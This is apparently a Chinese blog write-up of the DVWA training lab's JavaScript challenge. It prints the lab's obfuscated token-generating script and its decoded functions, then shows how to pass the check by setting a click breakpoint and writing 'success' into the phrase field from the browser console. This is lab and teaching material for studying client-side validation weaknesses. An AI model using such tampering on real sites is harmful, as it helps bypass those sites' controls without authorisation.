224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));

點我傳送 - 解密

解密後文件,主要代碼

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

分析

# 1. 分析:js中用來3個函數來計算token分別爲:
- token_part_1(): 取phrase值並進行字符串翻轉處理;
- token_part_2(): 傳入參數字符串’YY’和token值拼接並調用sha256
- token_part_3(): 將token值和字符串’ZZ’拼接並調用sha256()加密,從而得到最終的token;

# 2. 函數執行的順序
- (1). 首先將phrase 的值清空document.getElementById("phrase").value = “”;
- (2). 由於setTimeout函數有300毫秒延時,所以先執行了token_part_1("ABCD", 44)
- (3). 在執行2.然後再執行了 token_part_2("XX")
- (4). token_part_3被添加在提交按鈕的click事件上,也就是點提交會觸發執行最後執行。

# 3. javascript執行步驟

首先將 phrase 的值初始化爲 空,這裏是關鍵 後面我們需要把這裏直接 console 設置爲 success

document.getElementById("phrase").value = "";

選中 右側的 mouse 監聽 click 事件,此時瀏覽器就會自動解碼 JS,然後在 token_part_1 下斷點:

F12 -> Sources -> Event Listener Breakpoints -> Mouse -> click

wechat_20210531095201.png

此時取消 mouse 的 clik,重新刷新頁面(F5),即下面的效果:

wechat_20210531095651.png

然後去 控制檯 裏面設置 phrase 的值:

document.getElementById("phrase").value = "success";

直接放行(submit or 放行) 就會直接成功了:

wechat_20210531095927.png

第一遍可能沒有成功,緩存了之前操作,一般來說 第二次就會成功。

Level - Impossible

wechat_20210531100054.png

- You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.

- 防護的方法就是直接刪掉了用戶可以輸入的地方,類似於國內 HW 直接把服務關的操作一樣,我不開機你如何攻擊這是高手這是高手。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章